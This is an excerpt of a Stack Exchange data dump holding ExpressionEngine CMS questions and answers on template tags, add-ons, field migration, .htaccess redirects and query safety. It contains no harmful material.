  <row Id="18888" PostTypeId="1" CreationDate="2014-01-29T19:13:22.367" Score="0" ViewCount="716" Body="&lt;p&gt;I have a channel called 'models' containing a grid field called 'size_chart'. I have another channel called 'photos' with a grid field called 'photo_meta' inside which I have a relationship field called 'model' which is related to entries in the 'models' channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to loop through the models and only show photos they are in, however I can't seem to get the right syntax with the relationship field buried away inside the the grid field type. This is as far as I have got..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;models&quot;}&#xA;  {title}&#xA;    {parents channel=&quot;photos&quot; field=&quot;photo-meta:model&quot;}&#xA;       &amp;lt;!-- Photo and title --&amp;gt;&#xA;      {parents:title}&#xA;      {parents:image}&#xA;      &amp;lt;!-- Model info --&amp;gt;&#xA;      {size_chart:height}&#xA;      {size_chart:waist}&#xA;    {/parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1038" LastActivityDate="2016-06-22T15:14:56.737" Title="Parent relationship in grid field type" Tags="|relationships|grid|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18889" PostTypeId="2" ParentId="18067" CreationDate="2014-01-29T19:57:34.967" Score="2" Body="&lt;p&gt;You can do this easily with &lt;a href=&quot;http://devot-ee.com/add-ons/mx-notify-control&quot; rel=&quot;nofollow&quot;&gt;Notify Control&lt;/a&gt;. No needs in any php coding. Just email template with regular expressionengine code.&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-01-29T19:57:34.967" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18890" PostTypeId="1" AcceptedAnswerId="18891" CreationDate="2014-01-29T20:09:39.183" Score="2" ViewCount="70" Body="&lt;p&gt;I need to get this work — how can I code this to get the parse-order I need?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:channel:entries channel='{exp:plugin entry_id=&quot;{segment_3}&quot;}' …&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see in the code above: I read out the 3rd segment of the url, paste it in a attr of a plugin and use its output as a value of the channel-attr of exp:channel:entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now it does not work, the plugin with the segment-readout does work outside of the exp:channel:entries-Tag, therefore I &lt;em&gt;think&lt;/em&gt; it is a parse order issue.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2014-01-29T20:21:48.103" Title="How to outsmart ExpressionEngine Parse Order?" Tags="|plugin|parse-order|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18891" PostTypeId="2" ParentId="18890" CreationDate="2014-01-29T20:21:48.103" Score="3" Body="&lt;p&gt;put exp:channel:entries inside &lt;strong&gt;embeded&lt;/strong&gt;  template &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;site/channel&quot; my_plugin_ids=&quot;{exp:plugin entry_id=&quot;{segment_3}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;site/channel&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel='{embed:my_plugin_ids}' …&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;-or- &lt;/p&gt;&#xA;&#xA;&lt;p&gt;put exp:channel:entries inside your plugin tag's&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:plugin entry_id=&quot;{segment_3}&quot; parse=&quot;inward&quot;}&#xA;    {exp:channel:entries channel='{my_plugin_ids}' …&#xA;&#xA;{/exp:plugin}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-01-29T20:21:48.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18892" PostTypeId="1" CreationDate="2014-01-29T20:29:39.230" Score="1" ViewCount="652" Body="&lt;p&gt;I'm attempting to add some sort of functionality to WYGWAM that will add a custom class to a ol or ul lists.  So for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ol class=&quot;custom&quot;&amp;gt;&#xA;....&#xA;....&#xA;&amp;lt;/ol&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried editing a custom styleSet to something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{ name: 'Alert' , element: 'ol',attributes: { 'class': 'custom' }},&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but this doesn't work.  It could be a Style dropdown or a custom button in the toolbar.  Any help would be great!&lt;/p&gt;&#xA;" OwnerUserId="990" LastActivityDate="2014-01-29T20:35:19.897" Title="Adding a custom class to ol or ul lists" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18893" PostTypeId="2" ParentId="18892" CreationDate="2014-01-29T20:35:19.897" Score="2" Body="&lt;p&gt;Did you follow the instructions on creating a custom style set here &lt;a href=&quot;http://docs.pixelandtonic.com/wygwam/using/style_set.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.pixelandtonic.com/wygwam/using/style_set.html&lt;/a&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Double check that you followed those instructions. It should work just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: If this is the only custom style in the set, or it the last in the list, then you will not need the trailing comma. If you followed the instructions above and still had a problem then that could be your issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, Chrome (and maybe other browsers) is really aggressive about caching the custom style JS file so you may need to do a hard refresh or bust the cache to load your updated style set. I usually do this by updating the reference to the styleset with a version query string &lt;code&gt;my_styles:/themes/third_party/wygwam_assets/my_styles.js?v1.2&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-01-29T20:35:19.897" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18894" PostTypeId="1" AcceptedAnswerId="18897" CreationDate="2014-01-29T20:40:22.767" Score="6" ViewCount="331" Body="&lt;p&gt;I'm querying the database directly using the exp:query tag and filtering results on the value of a segment, is this safe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make it safe?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastActivityDate="2014-01-30T01:45:19.157" Title="Using exp:query with WHERE = {segment_2} is it safe?" Tags="|query-module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18895" PostTypeId="1" AcceptedAnswerId="18898" CreationDate="2014-01-29T20:44:11.907" Score="0" ViewCount="69" Body="&lt;p&gt;I have a text field that's been to featured an image since an earlier EE1 install and I would like to convert it to a File field type, so as to better utilize the image URL throughout different templates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I simply change the type from Text Input to File? I'm doubtful, since there is so much other text in the input aside from the image URL. (ie: &lt;code&gt;&amp;lt;img src=&quot;{filedir_4}file.jpg&quot; alt=&quot;&quot; height=&quot;300&quot; width=&quot;300&quot; /&amp;gt;&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I came across &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/12781/converting-ee1-text-field-with-image-tag-to-ee2-file-field&quot;&gt;this post&lt;/a&gt; with the same question but do not fully understand the solution provided. (I am also too new to comment there.) It says that I can add the following PHP to a template and it will do the migration itself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$old_field = 'field_id_XX';&#xA;$new_field = 'field_id_XX';&#xA;&#xA;$images = ee()-&amp;gt;db-&amp;gt;query(&quot;&#xA;    SELECT entry_id, $old_field FROM exp_channel_data WHERE $old_field != ''&#xA;&quot;);&#xA;foreach($images-&amp;gt;result_array() as $image)&#xA;{&#xA;    preg_match('/src=&quot;([^&quot;]*)&quot;/i', $image[$old_field], $match);&#xA;    if(!empty($match))&#xA;    {&#xA;        $data = array(&#xA;            $new_field =&amp;gt; $match[1]&#xA;        );&#xA;        ee()-&amp;gt;db-&amp;gt;query(&#xA;            ee()-&amp;gt;db-&amp;gt;update_string('exp_channel_data', $data, 'entry_id = '.$image['entry_id'])&#xA;        );&#xA;    }&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've added the PHP to the related template (which allows PHP), replaced the field_id_XXs with the proper IDs, then loaded a few pages—but no migration is taking place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="2037" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-01-29T22:59:10.037" Title="Can I migrate/convert a text field containing an &lt;img&gt; into a file field?" Tags="|fieldtype|fields|file-field|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18897" PostTypeId="2" ParentId="18894" CreationDate="2014-01-29T22:32:20.823" Score="10" Body="&lt;p&gt;No, it is not. Using segment variables (which is user input, effectively) in a query with the Query module is generally regarded as unsafe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should use the &lt;a href=&quot;http://devot-ee.com/add-ons/activerecord&quot;&gt;&lt;strong&gt;Active Record&lt;/strong&gt;&lt;/a&gt; plugin instead.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2014-01-30T01:45:19.157" LastActivityDate="2014-01-30T01:45:19.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18898" PostTypeId="2" ParentId="18895" CreationDate="2014-01-29T22:59:10.037" Score="1" Body="&lt;p&gt;You need to prefix those IDs with &lt;code&gt;field_id_&lt;/code&gt;, e.g.,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$old_field = 'field_id_51';&#xA;$new_field = 'field_id_217';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should get the migration working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you'll only need to load that code once in a single PHP-enabled template, and it should migrate all entries which have an image in the specified field (you mentioned &quot;loading a few pages&quot;).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-29T22:59:10.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18899" PostTypeId="2" ParentId="18831" CreationDate="2014-01-29T23:29:41.550" Score="2" Body="&lt;p&gt;It should be noted that you can very easily hook up EE's email sending methods to a Transactional Email Service such as Mandrill (&lt;a href=&quot;http://mandrill.com/&quot; rel=&quot;nofollow&quot;&gt;http://mandrill.com/&lt;/a&gt;) this is actually what Mailchimp is using, Mailgun, Postmark and others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that all email sent by your EE installation goes through that service and can be monitored for delivery success/failure etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use Mandrill for free up to a point so it's worth giving it a go. Just sign up and enter the SMTP connection info into EE's email setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote up a little guide to set up EE to use Mandrill a while ago which might be helpful&#xA;&lt;a href=&quot;http://www.foamcow.com/general/configure-expressionengine-to-use-mandrill-transactional-email-services/&quot; rel=&quot;nofollow&quot;&gt;http://www.foamcow.com/general/configure-expressionengine-to-use-mandrill-transactional-email-services/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-01-29T23:29:41.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18900" PostTypeId="1" AcceptedAnswerId="18927" CreationDate="2014-01-30T02:31:18.993" Score="1" ViewCount="242" Body="&lt;p&gt;I'm using {exp:stash:set_list} along with a few Matrix fields, but when I use {exp:stash:get_list} in my view template to retrieve the values nothing is returned. Here's barebones example of what I'm using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Model template:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed:layouts:template}&#xA;&#xA;{exp:stash:set_list&#xA;  name=&quot;people_entry:{segment_2}&quot;&#xA;  parse_tags=&quot;yes&quot;&#xA;  parse_depth=&quot;2&quot;&#xA;}&#xA;&#xA;  {exp:channel:entries&#xA;    channel=&quot;people&quot;&#xA;    disable=&quot;categories|category_fields|member_data|pagination&quot;&#xA;    limit=&quot;1&quot;&#xA;    status=&quot;open&quot;&#xA;  }&#xA;&#xA;        {stash:people_title}{title}{/stash:people_title}&#xA;&#xA;        {exp:stash:set_list:nested&#xA;          name=&quot;name_{entry_id}&quot;&#xA;          parse_tags=&quot;yes&quot;&#xA;        }&#xA;          {matrix_field_1}&#xA;            {stash:people_name}&#xA;                {playa_field}&#xA;                    {name}&#xA;                {/playa_field}&#xA;            {/stash:people_name}&#xA;          {/matrix_field_1}&#xA;        {/exp:stash:set_list:nested}  &#xA;&#xA;        {exp:stash:set_list:nested&#xA;          name=&quot;position_{entry_id}&quot;&#xA;          parse_tags=&quot;yes&quot;&#xA;        }&#xA;          {matrix_field_2}&#xA;            {stash:people_position}&#xA;                {playa_field}&#xA;                    {position}&#xA;                {/playa_field}&#xA;            {/stash:people_position}&#xA;          {/matrix_field_2}&#xA;        {/exp:stash:set_list:nested}&#xA;&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;View template:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list&#xA;    name=&quot;people_entry:{segment_2}&quot;&#xA;}&#xA;&#xA;    {people_title}&#xA;&#xA;    {exp:stash:get_list:nested&#xA;        name=&quot;name_{entry_id}&quot;&#xA;    }&#xA;        {people_name}&#xA;    {/exp:stash:get_list:nested}&#xA;&#xA;    {exp:stash:get_list:nested&#xA;        name=&quot;position_{entry_id}&quot;&#xA;    }&#xA;        {people_position}&#xA;    {/exp:stash:get_list:nested}&#xA;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on what I'm doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using EE 2.7.3 with Stash 2.4.8 and Matrix 2.5.10.&lt;/p&gt;&#xA;" OwnerUserId="454" LastEditorUserId="454" LastEditDate="2014-01-30T18:11:51.753" LastActivityDate="2014-01-30T19:02:29.907" Title="Using Matrix with Playa Fields and Stash set_list" Tags="|matrix|playa|stash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18901" PostTypeId="2" ParentId="10793" CreationDate="2014-01-30T03:33:58.577" Score="0" Body="&lt;p&gt;Another thing to check is file permissions on config.php, database.php and the cache directory.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-01-30T03:33:58.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18902" PostTypeId="2" ParentId="18900" CreationDate="2014-01-30T03:35:14.163" Score="1" Body="&lt;p&gt;I think you need to capture the entryid as a stash var so you can call it instead of entry_I'd because entry_id doesn't exist when calling the get_list.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed:layouts:template}&#xA;&#xA;{exp:stash:set_list&#xA;name=&quot;people_entry:{segment_2}&quot;&#xA;parse_tags=&quot;yes&quot;&#xA;parse_depth=&quot;2&quot;&#xA;}&#xA;&#xA;{exp:channel:entries&#xA;channel=&quot;people&quot;&#xA;disable=&quot;categories|category_fields|member_data|pagination&quot;&#xA;limit=&quot;1&quot;&#xA;status=&quot;open&quot;&#xA;}&#xA;&#xA;    {stash:people_title}{title}{/stash:people_title}&#xA;    //Capture entryID&#xA;    {stash:entryid}{entry_id}{/stash:entryid}&#xA;    {exp:stash:set_list:nested&#xA;      name=&quot;name_{entry_id}&quot;&#xA;      parse_tags=&quot;yes&quot;&#xA;    }&#xA;      {matrix_field_1}&#xA;        {stash:people_name}{name}{/stash:people_name}&#xA;      {/matrix_field_1}&#xA;    {/exp:stash:set_list:nested}  &#xA;&#xA;    {exp:stash:set_list:nested&#xA;      name=&quot;position_{entry_id}&quot;&#xA;      parse_tags=&quot;yes&quot;&#xA;    }&#xA;      {matrix_field_2}&#xA;        {stash:people_position}{position}{/stash:people_position}&#xA;      {/matrix_field_2}&#xA;    {/exp:stash:set_list:nested}&#xA;&#xA;{/exp:stash:set_list}&#xA;&#xA;&#xA;&#xA;{exp:stash:get_list&#xA;name=&quot;people_entry:{segment_2}&quot;&#xA;}&#xA;&#xA;{people_title}&#xA;&#xA;{exp:stash:get_list:nested&#xA;    name=&quot;name_{entryid}&quot; //Unsure of syntax here, could try…&#xA;    name=&quot;name_{stash:entryid}&quot;&#xA;}&#xA;    {people_name}&#xA;{/exp:stash:get_list:nested}&#xA;&#xA;{exp:stash:get_list:nested&#xA;    name=&quot;position_{stash:entryid}&quot;} //stashed entryid var&#xA;    {people_position}&#xA;{/exp:stash:get_list:nested}&#xA;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-01-30T03:35:14.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18903" PostTypeId="1" AcceptedAnswerId="18934" CreationDate="2014-01-30T03:56:29.403" Score="1" ViewCount="59" Body="&lt;p&gt;Inside &lt;code&gt;{exp:super_search:results}&lt;/code&gt; I cannot get a Primary Category to display. Normally I would use &lt;code&gt;{exp:primary_category}{primary_category_name}{/exp:primary_category}&lt;/code&gt; inside &lt;code&gt;{exp:channel:entries}&lt;/code&gt;. That works fine but the same thing side Super Search results doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something special I have to do to display Primary Category? Strange that it wouldn't work in Super Search since they are both Solspace add-ons!&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-01-30T22:17:31.433" Title="Primary Category doesn't display inside Super Search results" Tags="|solspace|supersearch|primary-category|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18904" PostTypeId="1" AcceptedAnswerId="18905" CreationDate="2014-01-30T07:06:32.933" Score="1" ViewCount="159" Body="&lt;p&gt;I am using EE 2.7.2. How can we filter channel entries like below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries category=&quot;1&amp;amp;2&amp;amp;3&amp;amp;(5|6)&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to use '&amp;amp;' and '|' together?&lt;/p&gt;&#xA;" OwnerUserId="2673" LastActivityDate="2014-01-30T07:55:23.443" Title="Filter channel entries by category with nested condition" Tags="|channel-entries|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18905" PostTypeId="2" ParentId="18904" CreationDate="2014-01-30T07:26:47.603" Score="3" Body="&lt;p&gt;No, unforchently you can't use '&amp;amp;' and '|' together. In &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#category&quot; rel=&quot;nofollow&quot;&gt;category parameter&lt;/a&gt; you can use or '&amp;amp;' logic or '|' logic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;possible solution:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT group_concat(entry_id separator ', ') as result_ids FROM&#xA;exp_category_posts WHERE entry_id IN &#xA;(SELECT entry_id FROM exp_category_posts WHERE cat_id = 1 AND cat_id = 2 AND cat_id = 3)&#xA;AND (cat_id = 5 OR cat_id = 6)&quot; parse=&quot;inward&quot;}&#xA;  {exp:channel:entries entry_id=&quot;{result_ids}&quot;}&#xA;    ...&#xA;  {/exp:channel:entries}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="2672" LastEditorUserId="2672" LastEditDate="2014-01-30T07:55:23.443" LastActivityDate="2014-01-30T07:55:23.443" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18906" PostTypeId="1" AcceptedAnswerId="19101" CreationDate="2014-01-30T08:06:31.520" Score="3" ViewCount="674" Body="&lt;p&gt;I just upgraded one of my sites from EE 2.5.2 to 2.7.3 and everything seemed to go fine, but now on the front end when a user attempts to log out they get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;**The following errors were encountered**&#xA;&#xA;You are not authorized to perform this action&#xA;Return to Previous Page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone know why this is or how to fix it?&lt;/p&gt;&#xA;" OwnerUserId="384" LastActivityDate="2014-02-05T07:12:23.470" Title="Can't logout after EE 2.7.3 update" Tags="|ee2|members|ee2-upgrades|logout|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="18907" PostTypeId="2" ParentId="18906" CreationDate="2014-01-30T08:30:05.900" Score="2" Body="&lt;p&gt;Check and update all your add-ons first. One of the difference between  2.5.2 &amp;amp; 2.7.3  is that now XID hash code is mandatory for all forms. Many add-ons don't used it before, as result -  &lt;strong&gt;You are not authorized to perform this action&lt;/strong&gt; after EE update.&#xA;For member_logout function XID is also mandatory.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$xid = ee()-&amp;gt;input-&amp;gt;get('XID') ? ee()-&amp;gt;input-&amp;gt;get('XID') : '';&#xA;    if ( ! ee()-&amp;gt;security-&amp;gt;secure_forms_check($xid))&#xA;    {&#xA;        return ee()-&amp;gt;output-&amp;gt;show_user_error('general', array(lang('not_authorized')));&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Possible you use something like FreeMember.&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-01-30T08:30:05.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18908" PostTypeId="1" AcceptedAnswerId="18911" CreationDate="2014-01-30T09:35:40.083" Score="0" ViewCount="182" Body="&lt;p&gt;I am currently using the htaccess rules that CE Cache recommends when setting up a static cache:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#------------------- remove trailing slash -------------------&#xA;RewriteCond %{REQUEST_URI} !^/system [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteRule ^(.+)/$ /$1 [R=301,L,QSA]&#xA;&#xA;#------------------- index.php -------------------&#xA;#strip index.php from the URL if that is all that is given&#xA;RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /([^/]+/)*index\.php\ HTTP/&#xA;RewriteRule ^(([^/]+/)*)index\.php$ http://%{HTTP_HOST}/ [R=301,NS,L,QSA]&#xA;#strip index.php/* from the URL&#xA;RewriteCond %{THE_REQUEST} ^[^/]*/index\.php/ [NC]&#xA;RewriteRule ^index\.php/(.+) http://%{HTTP_HOST}/$1 [R=301,L,QSA]&#xA;&#xA;#------------------- CE Cache Static Driver -------------------&#xA;RewriteCond %{REQUEST_URI} !^/system [NC]&#xA;RewriteCond %{QUERY_STRING} !ACT|URL [NC]&#xA;RewriteCond %{REQUEST_METHOD} !=POST [NC]&#xA;RewriteCond %{DOCUMENT_ROOT}/static/ce_cache/8203ba/static%{REQUEST_URI}/index\.html -f&#xA;RewriteRule (.*) /_static_cache_handler.php?%{REQUEST_URI}/index\.html [L,QSA]&#xA;&#xA;#------------------- EE -------------------&#xA;#rewrite all non-image/js/css urls back to index.php if they are not files or directories&#xA;RewriteCond $1 !\.(css|js|gif|jpe?g|png) [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php?/$1 [L,QSA]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I'd like to add in a redirect so if somebody visits at www.mydomain it goes to mydomain. I've tried a few things that I think should work with no luck. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1634" LastActivityDate="2014-01-30T09:56:26.153" Title="htaccess file for static CE Cache also redirect www" Tags="|ce-cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18909" PostTypeId="1" CreationDate="2014-01-30T09:40:47.933" Score="2" ViewCount="76" Body="&lt;p&gt;After moving to a different server, i'm seeing strange output from Matrix. The output contains some of the ee tags and some of the html from within.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the matrix tag pair:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{service_group_staff_quotes}&#xA;  &amp;lt;blockquote class=&quot;testimonial&quot;&amp;gt;&#xA;    {if photo}&amp;lt;img class=&quot;testimonial__media&quot; src=&quot;{photo}&quot; alt=&quot;{staff_credit}&quot;&amp;gt;{/if}&#xA;    &amp;lt;p class=&quot;testimonial__quote&quot;&amp;gt;“{staff_quote}”&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p class=&quot;testimonial__title&quot;&amp;gt;— {staff_credit}&amp;lt;/p&amp;gt;&#xA;  &amp;lt;/blockquote&amp;gt;&#xA;{/service_group_staff_quotes}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a screengrab of the output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ATxcI.png&quot; alt=&quot;description&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The '{s' at the beginning and the '/p&gt;' at the end of the first para, then the '{sta' at the beginning of the second para are the problem. Anyone seen this before or got any ideas? I've tried running the EE server wizard on the new server which reports everything is fine and i've tried re-uploading the system folder incase anything got lost over FTP. Any help appreciated :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.5.5, Matrix 2.5.10&lt;/p&gt;&#xA;" OwnerUserId="2674" LastActivityDate="2014-04-01T12:08:36.690" Title="Matrix outputs parts of it's tags on the frontend" Tags="|matrix|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="18911" PostTypeId="2" ParentId="18908" CreationDate="2014-01-30T09:56:26.153" Score="1" Body="&lt;p&gt;just add next lines at the beginning of .htaccess right after RewriteBase /&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} ^www\.(.+)$ [NC]&#xA;RewriteRule ^(.*)$ http://%1/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-01-30T09:56:26.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18912" PostTypeId="2" ParentId="18888" CreationDate="2014-01-30T10:15:38.757" Score="1" Body="&lt;p&gt;Just noticed a line at the bottom of the docs for Relationships which answers my own question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;The Relationships field can be used as a Grid field column. Currently it is not possible to get the parents of a relationship field that is inside of a Grid field. You can also not use Relationships inside of a Grid field that does not store Channel data.&quot;&lt;/p&gt;&#xA;" OwnerUserId="1038" LastActivityDate="2014-01-30T10:15:38.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18914" PostTypeId="1" AcceptedAnswerId="19004" CreationDate="2014-01-30T11:34:34.830" Score="1" ViewCount="156" Body="&lt;p&gt;We've installed both Store and Mailchimp subscribe however seem to have run into a few issues:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If a user registers via the default register screen, the form works and they get subscribed to mailchimp if they select Yes to subscribe, yay!&lt;/li&gt;&#xA;&lt;li&gt;If a user registers via our store checkout form their choice is saved in their expressionengine profile, however it won't add them to the mailchimp list, booo!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;We've basically setup a custom field with the options yes and no, if they select yes it should subscribe them to the mailing list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've then mapped this custom field to a store custom field (order_custom2) and used the following code in the checkout form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;div class=&quot;control-group {if error:order_custom2}error{/if}&quot;&amp;gt;&#xA;    &amp;lt;label class=&quot;control-label&quot; for=&quot;order_custom2&quot;&amp;gt;Newsletter&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;      &amp;lt;select name=&quot;order_custom2&quot; id=&quot;order_custom2&quot; &amp;gt;&#xA;        &amp;lt;option value=&quot;Yes&quot;&amp;gt;Subscribe&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;No&quot;&amp;gt;Don't Subscribe&amp;lt;/option&amp;gt;&#xA;      &amp;lt;/select&amp;gt;&#xA;      {error:order_custom2}&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We're struggling to see why this isn't working and any ideas would be much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1014" LastEditorUserId="1014" LastEditDate="2014-01-30T11:40:49.327" LastActivityDate="2014-02-01T03:50:21.437" Title="Subscribing Expresso Store customers to Mailchimp with SL MailChimp Subscribe" 